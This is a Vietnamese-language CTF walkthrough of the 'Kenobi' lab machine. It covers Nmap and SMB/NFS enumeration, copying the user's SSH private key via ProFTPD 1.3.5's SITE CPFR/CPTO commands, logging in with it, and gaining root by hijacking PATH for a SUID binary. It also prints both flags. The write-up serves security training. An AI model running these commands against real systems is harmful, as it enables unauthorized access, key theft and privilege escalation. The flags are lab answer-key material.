Summary
Room này có các kiến thức về:
- SMB protocol và implementation của nó ở trên Linux (Samba).
- RPC bind, network file system và cách mount thư mục.
- Pro FTPD
- SUID bit, GUID bit và Sticky bit
Deploy the Vulnerable Machine
Chạy Nmap với câu lệnh sau:
sudo nmap -sS -sV -T4 10.10.65.217
Ta tìm được các port và các version của chúng như sau:
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
111/tcp open rpcbind 2-4 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
2049/tcp open nfs 2-4 (RPC #100003)
Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Port 80 chỉ là trang web có chứa một hình ảnh, không có gì để khai thác. Các port còn lại đều sẽ được cover trong các section bên dưới.
Enumerate Samba for Shares
Ta thấy trong kết quả scan có port 139 và port 445 sử dụng chương trình Samba.
Samba là một phiên bản của giao thức SMB1 mà hoạt động trên Linux, cho phép người dùng truy cập đến các tài nguyên chia sẻ.
Thông tin về các port của Samba:
Có thể dùng Nmap để khám phá các tài nguyên chia sẻ SMB như sau:
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.65.217
Output có dạng như sau:
Host script results:
| smb-enum-shares:
| account_used: guest
| \\10.10.65.217\IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: IPC Service (kenobi server (Samba, Ubuntu))
| Users: 1
| Max Users: <unlimited>
| Path: C:\tmp
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.65.217\anonymous:
| Type: STYPE_DISKTREE
| Comment:
| Users: 0
| Max Users: <unlimited>
| Path: C:\home\kenobi\share
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.65.217\print$:
| Type: STYPE_DISKTREE
| Comment: Printer Drivers
| Users: 0
| Max Users: <unlimited>
| Path: C:\var\lib\samba\printers
| Anonymous access: <none>
|_ Current user access: <none>
Kết nối đến tài nguyên chia sẻ thông qua chương trình smbclient
của Linux:
smbclient //10.10.65.217/anonymous
Hoặc để tải file:
smbget -R smb://10.10.65.217/anonymous
Important
File tải về có tên là
log.txt
cho ta biết thông tin sau: target machine có sinh khóa SSH cho user. Khóa bí mật được lưu ở đường dẫn/home/kenobi/.ssh/id_rsa
.
RPC Bind
Ở lần scan Nmap đầu tiên, ta đã thấy được port 111 sử dụng dịch vụ rpcbind
.
RPC Bind là một dịch vụ cho phép chuyển các program number của RPC (Remote Procedure Call) thành các địa chỉ công khai. Khi một dịch vụ RPC được khởi chạy, nó sẽ cho biết địa chỉ mà nó đang lắng nghe cũng như là các program number mà nó sẵn sàng để phục vụ.
Trong trường hợp của room này, port 111 cho phép kết nối đến network file system.
Sử dụng câu lệnh sau để tìm ra các thư mục chia sẻ có thể mount:
nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.65.217
Tìm được thư mục /var
ở trong output sau:
PORT STATE SERVICE
111/tcp open rpcbind
| nfs-showmount:
|_ /var *
Gain Initial Access with ProFtpd
ProFTPd là server FTP mã nguồn mở miễn phí tương thích với các hệ thống Unix và Windows.
Kết nối đến ProFTPd server bằng Netcat rồi dùng lệnh SITE CPFR
và SITE CPTO
để sao chép file id_rsa
có chứa private key đến thư mục /var/tmp
. Cụ thể:
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.65.217]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful
Lý do chuyển sang /var
là vì ta biết rằng ta có thể mount thư mục này vào attacking machine. Thực hiện mount như sau:
sudo mkdir /mnt/kenobiNFS
sudo mount 10.10.65.217:/var /mnt/kenobiNFS
Sau đó sao chép private key vào thư mục hiện tại và sử dụng để kết nối SSH:
cp /mnt/kenobiNFS/tmp/id_rsa .
chmod 600 id_rsa
ssh -i id_rsa kenobi@10.10.65.217
Đọc tập tin /home/kenobi/user.txt
và ta có được flag:
Success
d0b0f3f53b6caa532a83915e19224899
Privilege Escalation with Path Variable Manipulation
Tìm hiểu về SUID bit, GUID bit và Sticky bit:
Chức năng của chúng:
Permission | On Files | On Directories |
---|---|---|
SUID Bit | User executes the file with permissions of the file owner | - |
SGID Bit | User executes the file with the permission of the group owner. | File created in directory gets the same group owner. |
Sticky Bit | No meaning | Users are prevented from deleting files from other users. |
Khi kiểm tra bằng câu lệnh:
find / -perm -u=s -type f 2>/dev/null
Thì ta tìm được binary /usr/bin/menu
có SUID bit. Chạy thử thì thấy hiển thị như sau:
1. status check
2. kernel version
3. ifconfig
** Enter your choice :
Xem nội dung của binary này:
strings /usr/bin/menu
Ta thấy được những dòng sau:
curl -I localhost
uname -r
ifconfig
Có thể thấy, binary này gọi sử dụng chương trình curl
. Khi menu
thực thi thì nó sẽ kiếm chương trình curl
ở trong environment path để thực thi. Mà menu
được thực thi dưới quyền root nên chương trình curl
cũng sẽ được thực thi dưới quyền root.
Ta tiến hành khai thác bằng cách sao chép một phiên bản khác của /bin/sh
và đổi tên thành curl
, sau đó cho đường dẫn của nó vào environment path để đánh lừa menu
nhằm thực thi shell dưới quyền root.
Giả sử ta đang ở thư mục /tmp
:
echo /bin/sh > curl
chmod 777 curl
export PATH=/tmp:$PATH
Thực thi menu
một lần nữa và ta sẽ có được shell của root. Truy cập tập tin /root/root.txt
và ta có được flag:
Success
177b3cd8562289f37382721c28381f02
Resources
Footnotes
-
Viết tắt của Server Message Block, là giao thức của Windows cho phép các máy tính kết nối với nhau để chia sẻ tập tin và các máy in. ↩